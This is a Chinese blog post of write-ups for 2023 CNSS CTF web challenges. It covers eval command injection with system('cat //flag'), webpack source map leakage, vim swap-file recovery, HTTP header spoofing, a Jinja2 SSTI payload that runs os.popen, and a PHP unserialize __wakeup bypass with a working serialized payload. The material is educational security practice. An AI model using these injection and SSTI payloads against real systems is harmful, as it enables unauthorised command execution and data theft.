2023CNSS——WEB题解(持续更新)

[Baby] SignIn

进来看到
在这里插入图片描述

按钮点击不了,想到去修改代码,要“检查“,但这里的右键和F12都不可用
还好还有其他方法
检查的各种方法

选用一种后进入检查页面
在这里插入图片描述

删掉这里的disabled即可
在这里插入图片描述

点击后得到flag
在这里插入图片描述

[Baby] Backdoor

进入,看到
在这里插入图片描述

有eval,利用命令执行漏洞

cnss=system('ls /');

在这里插入图片描述

获取flag文件夹里的文件名:

cnss=system('ls /flag');

在这里插入图片描述

获取flag:

cnss=system('cat //flag');

在这里插入图片描述

[Baby] Webpack

了解一下什么是Webpack,及其有什么漏洞

Webpack是一个用于构建现代Web应用程序的开源JavaScript模块打包工具。它可以将多个JavaScript、CSS、图片等资源打包成一个或多个优化后的bundle文件,以提高应用程序的性能和加载速度。Webpack通过模块化的方式管理代码,使开发者可以以模块化的方式编写代码,然后通过Webpack将这些模块打包成可在浏览器中执行的代码。

可能有源代码泄漏:不正确的配置可能导致打包后的源代码在生产环境中被泄漏。这道题就是此漏洞,具体利用方式如下:

进入题目,看到
在这里插入图片描述

检查,找到.js文件
在这里插入图片描述
知道其路径为:http://124.221.34.13:50003/static/js/main.c91fb7d1.js

访问http://124.221.34.13:50003/static/js/main.c91fb7d1.js.map,就成功下载了源代码
在这里插入图片描述

此文件还需要还原,先安装工具
如何还原前端代码

请随便选一个文件夹(记得把源代码移进去),打开cmd
在这里插入图片描述在这里插入图片描述

还原:reverse-sourcemap -v main.c91fb7d1.js.map -o output,得到还原后的代码
在这里插入图片描述在这里插入图片描述
找到flag
在这里插入图片描述

[Easy] Leak

得看一下题目描述
在这里插入图片描述

先了解一下上面情况会出现什么漏洞:
使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除

当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例:第一次产生的交换文件名为 .index.php.swp

再次意外退出后,将会产生名为 .index.php.swo 的交换文件

第三次产生的交换文件则为 .index.php.swn
——————————
来获取.index.php.swp,并整理其中代码
在这里插入图片描述

查看根目录文件:

/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system('ls /');

在这里插入图片描述

得到flag:

/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system('cat  /fl4444444g');

在这里插入图片描述

[Easy] ezhttp

进来,看到
在这里插入图片描述

http的题目一般来说直接抓包,再去一步一步地满足要求
1
在这里插入图片描述
在文件开头把GET修改为CNSS

CNSS /Index HTTP/1.1

2
在这里插入图片描述
修改User-Agent

User-Agent: Mozilla/5.0 (Linux; Android 10; XXX Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.96 Mobile Safari/537.36 MicroMessenger/8.0.0.1920(0x2800004D) Process/appbrand2 WeChat/arm32

3
在这里插入图片描述
修改Referer

Referer:cnss.io

4
在这里插入图片描述
修改X-Forwarded-For

X-Forwarded-For:127.0.0.1

5
在这里插入图片描述
修改HOST

Host: uestc.edu.cn

6
在这里插入图片描述
修改Content-Type

Content-Type: application/json

7
在这里插入图片描述在最下面胡乱输入
在这里插入图片描述
8
在这里插入图片描述
给一个json数据

{
  "name": "Alice",
  "age": 25
}

9
在这里插入图片描述
把一个数据命名为password

{
  "password": "Alice",
  "age": 25
}

10
在这里插入图片描述
把一个数据命名为name

{
  "name": "Alice",
  "password": "25"
}

11
在这里插入图片描述
json和Cookie改为相同
在这里插入图片描述

12
在这里插入图片描述
先了解如何在HTTP请求中表示Basic认证:

构建认证字符串:将用户名和密码用冒号分隔,然后将该字符串进行Base64编码。

例如,如果用户名是 "username",密码是 "password",您可以将它们合并并进行Base64编码得到 "dXNlcm5hbWU6cGFzc3dvcmQ="。

添加认证头部:将Base64编码后的认证字符串添加到HTTP请求头的 "Authorization" 字段中,使用 "Basic" 前缀。 Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

方法:修改Authorization

Authorization: Basic MTIzOjEyMzQ1Ng==

————————————————————
得到flag咯:
在这里插入图片描述

[Easy] CNSS Feedback Pre-alpha

进来,看到
在这里插入图片描述

想着尝试一下SSTI
在这里插入图片描述

${7*7}

a{*comment*}b
${"z".join("ab")}

{{7*7}}
{{7*'7'}}

发现第三个框存在SSTI,且为jinja2模板
在这里插入图片描述

在这里插入图片描述
这里利用Flask自带的函数和对象
具体看这篇文章,不是很详细,但还行

payload:

{{lipsum.__globals__.os.popen('cat /f1111111111111114g.txt').read()}}

其实直接抄下来,改系统命令,暂时还可以

[Easy] ezunserialize

先了解一个知识

将文本转换为 Unicode 编码可以帮助避免在复制粘贴过程中丢失特殊字符和格式

进来看到,直接给了源码

<?php
error_reporting(0);
show_source(__FILE__);
include "flag.php";

class CNSS
{
    public $username;
    private $i_want2_say;
    protected $password;

    function __wakeup()
    {
        $this->username = 'guest';
        $this->i_want2_say = 'i_like_web';
        $this->password = '123456';
        echo "<br/> wake up! <br/>";
    }

    function __destruct()
    {
        echo "destruct<br />";
        if ($this->username === 'admin' && $this->password === 'ctf' && $this->i_want2_say === 'fssmsli_like_web') { //wtf 
            global $flag;
            echo $flag;
        } else
            echo "you are 2 baby la<br/>";
    }
}

unserialize($_GET['web']);

请自己注意上面fssmsl的位置,其实是在wtf后面哟

这段 PHP 代码涉及了对象序列化和反序列化,以及相关的魔术方法。让我们逐步分析代码:

error_reporting(0);:此行代码用于关闭错误报告,这意味着在后续代码中,如果出现任何错误或警告,它们都不会显示在页面上。

show_source(__FILE__);:此行代码将显示当前文件的源代码内容。这可能是为了让您方便查看这个文件的内容。

include "flag.php";:此行代码尝试包含名为 flag.php 的文件。这通常是为了获取在这个文件中定义的敏感信息,比如 flag。

class CNSS:定义了一个名为 CNSS 的类。

function __wakeup():这是 PHP 的一个魔术方法,当对象被反序列化时会被调用。在这里,它被用来重新设置对象的属性。
function __destruct():同样是一个 PHP 魔术方法,在对象被销毁时调用。在这里,它被用来检查对象的属性值,如果满足一定条件,就会输出 flag。

unserialize($_GET['web']);:这是代码的关键部分。它尝试将通过 GET 请求传递的参数 web 进行反序列化。

我们初步构成payload的脚本为:

<?php
class CNSS
{  public $username='admin';
   private $i_want2_say='fssmsli_like_web';
   protected $password='ctf';
}
$a = new CNSS();
$b=serialize($a);
echo $b;

payload:

O:4:"CNSS":4:{s:8:"username";s:5:"admin";s:17:"CNSSi_want2_say";s:28:"鈥仸fssmsl鈦┾仸i_like_web";s:11:"*password";s:3:"ctf";}

因为fssmsl
在这里插入图片描述序列化后会出现乱码
在这里插入图片描述必须要对乱码进行url编码来避免乱码出现问题,而如果我们直接进行复制或者粘贴,会导致信息损失
除此之外还需要补上

private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

我们只需要将序列化后的数据进行Unicode/URL编码,之后再解码(URL可以不解码),就能直接解决所有问题
获取payload的脚本:

<?php
class CNSS
{  public $username='admin';
   private $i_want2_say='fssmsli_like_web';
   protected $password='ctf';
}
$a = new CNSS();
$b=serialize($a);
$text = $b;
$unicodeText = "";
$length = mb_strlen($text, 'UTF-8');
for ($i = 0; $i < $length; $i++) {
    $char = mb_substr($text, $i, 1, 'UTF-8');
    $unicodeText .= "\\u" . bin2hex(mb_convert_encoding($char, 'UCS-2', 'UTF-8'));
}
echo $unicodeText;

得到:

\u004f\u003a\u0034\u003a\u0022\u0043\u004e\u0053\u0053\u0022\u003a\u0033\u003a\u007b\u0073\u003a\u0038\u003a\u0022\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u003b\u0073\u003a\u0035\u003a\u0022\u0061\u0064\u006d\u0069\u006e\u0022\u003b\u0073\u003a\u0031\u0037\u003a\u0022\u0000\u0043\u004e\u0053\u0053\u0000\u0069\u005f\u0077\u0061\u006e\u0074\u0032\u005f\u0073\u0061\u0079\u0022\u003b\u0073\u003a\u0032\u0038\u003a\u0022\u202e\u2066\u0066\u0073\u0073\u006d\u0073\u006c\u2069\u2066\u0069\u005f\u006c\u0069\u006b\u0065\u005f\u0077\u0065\u0062\u0022\u003b\u0073\u003a\u0031\u0031\u003a\u0022\u0000\u002a\u0000\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u003b\u0073\u003a\u0033\u003a\u0022\u0063\u0074\u0066\u0022\u003b\u007d

在这里插入图片描述在这里插入图片描述payload:
在这里插入图片描述

得到flag
在这里插入图片描述
注意:全文我都没有描述绕过__wakeup
只需要把类名后面的数字调到比原来大就行,如题目中我调为了4

[Mid] ezpad

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蜗牛狂飙记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值